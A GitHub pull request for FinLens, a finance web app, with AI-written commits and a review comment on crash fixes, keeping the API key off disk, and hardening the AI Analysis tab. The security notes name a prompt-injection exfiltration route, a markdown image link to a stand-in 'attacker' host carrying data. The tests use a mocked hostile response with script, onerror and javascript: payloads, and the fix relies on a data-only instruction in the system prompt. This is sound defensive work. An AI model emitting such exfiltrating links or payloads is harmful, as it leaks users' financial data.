Repository navigation
v1.8.0: keep API key off disk, sanitize AI output, restore AI Analysis, fix crashes, add sample data - #1
Merged
Conversation
…urring ReferenceError
- views-invest.js: _renderForecastInvest() closed with '});' instead of '}',
so the whole file failed to parse and the Investments tab never registered.
- aggregation.js: detectRecurring() pushed {key} but the loop variable is k,
throwing whenever a recurring charge was found (Trends insights, AI summary).
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AT1Bh6Sscb8ogzzuf8U3Jc
- Re-add the AI Analysis nav item and views-ai.js script tag (removed in 1.7.0). - Model: claude-sonnet-4-20250514 was retired 2026-06-15; use claude-sonnet-5-5 via a single AI_MODEL constant. - API key: new Settings > General card (password field, value never rendered). saveStateToFile() no longer writes apiKey to finlens-state.json; loadStateFromFile() strips it from older files, moves it to browser storage if needed, and schedules a re-save to scrub the file. - Output: new renderMarkdown() (marked -> DOMPurify, no img/style/forms, escaped-text fallback) replaces every direct marked.parse() call. - Prompt injection: summary sent inside <financial_data> tags with a data-only instruction in the system prompt; responses join all text blocks. - Pin marked@15.0.12 (what the unpinned URL already served) and add DOMPurify@3.4.17, both with SRI. - .gitignore: finlens-state.json, settings exports, saved AI analyses. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AT1Bh6Sscb8ogzzuf8U3Jc
Fake Ally Checking, Ally Savings and Chase data (May-Oct 2026) covering leading-space headers, mixed date formats, paired transfers, card payments, a return, subscriptions, and identical Chase rows for the _2 suffix. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AT1Bh6Sscb8ogzzuf8U3Jc
…ections - CLAUDE.md: fix stale version, tech stack, structure, §13 AI integration, §14 (folder handle also drives finlens-state.json) and the version-bump checklist; add no-secrets-on-disk, renderMarkdown-only and no-real-data rules. - README: sample data, Settings > Import path, AI security notes, current model. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AT1Bh6Sscb8ogzzuf8U3Jc
This was referenced Oct 24, 2026
buildFinancialSummary() ran before the 'Analyzing…' message and outside the try block, so any error there (e.g. string dates after booting from finlens-state.json) made a click do nothing at all. Now every failure is shown on the page: summary errors (nothing is sent), API errors with a 401 key hint, network errors, and a 90s timeout. Clicks are ignored while a request runs. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AT1Bh6Sscb8ogzzuf8U3Jc
Owner
Author
|
Review follow-up — "real AI question didn't do anything" Reproduced. Your app boots from
You need #1 through #4 merged for the AI tab to work with your real data. To test before merging, check out Generated by Claude Code |
This was referenced Oct 24, 2026
5 tasks done
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Gets FinLens ready to be made public: the API key stays off disk, Claude's output is sanitized before rendering, the AI Analysis tab is back and working, two crashes are fixed, synthetic sample data is added, and the docs match the code again. Released as v1.8.0.
Changes
1. Two pre-existing crashes fixed (
2da6c3a)_renderForecastInvest()inviews-invest.jsclosed with});instead of}, so the whole file failed to parse. Investments and Forecast → Investments were both dead.detectRecurring()threwReferenceError: key is not definedwhenever it found a recurring charge, which crashed Trends insights and the AI summary. One-character fix:{key}→{key:k}.2. AI Analysis restored and hardened (
53b1625)views-ai.jsscript tag, which were removed in 1.7.0.claude-sonnet-4-20250514was retired 2026-06-15, so every call would have failed. It now usesclaude-sonnet-5-5via oneAI_MODELconstant.saveStateToFile()no longer writesapiKeytofinlens-state.json.loadStateFromFile()strips it from older files, moves it to browser storage if that was the only copy, and schedules a re-save that rewrites the file without it.renderMarkdown()incore.jsruns marked → DOMPurify, with noimg,styleor form tags, and falls back to escaped text.marked.parse()call.[](https://attacker/?data=…).<financial_data>tags.textblocks are joined, instead of assumingcontent[0]is text.15.0.12. The unpinned URL was already resolving to that version, because newer releases dropped the rootmarked.min.js, so behavior is unchanged.3.4.17is added..gitignore: now ignoresfinlens-state.jsonby name. Before, it was only safe if the folder sat insidedata/. Settings exports and saved AI analyses are also ignored.3. Synthetic sample data (
64a0479)samples/: fake Ally Checking, Ally Savings and Chase CSVs covering May–Oct 2026, 257 rows in total._2occurrence suffix.4. Release v1.8.0 and docs (
7caafae)finlens-state.json). The version-bump checklist now includesviews-settings.js. New rules: no secrets on disk,renderMarkdown()only, no real data in git.How it was tested
A headless Chromium run with the CDN libraries served from local npm copies, a mocked Anthropic API returning a hostile response, and the sample CSVs. 27/27 checks passed:
_2suffix.finlens-state.jsonhas noapiKeyfield.claude-sonnet-5-5, wraps the summary in<financial_data>, and sends the key only in thex-api-keyheader.<img onerror>,<script>, ajavascript:link, anonclickand a markdown image to an outside URL are all stripped.Please check before merging
finlens-state.jsonholds the old key, click Save Now in Settings → Import after loading, then confirmapiKeyis gone from the file. The browser may need write permission for that folder.Known issue, not fixed here
Re-importing the same Chase file duplicates every Chase row in IndexedDB. In testing, it went from 165 to 330.
DB.importTransactions()treats any ID collision with an existing row as an identical-row case and inserts it with a_2suffix.finlens-state.json.https://claude.ai/code/session_01AT1Bh6Sscb8ogzzuf8U3Jc
Generated by Claude Code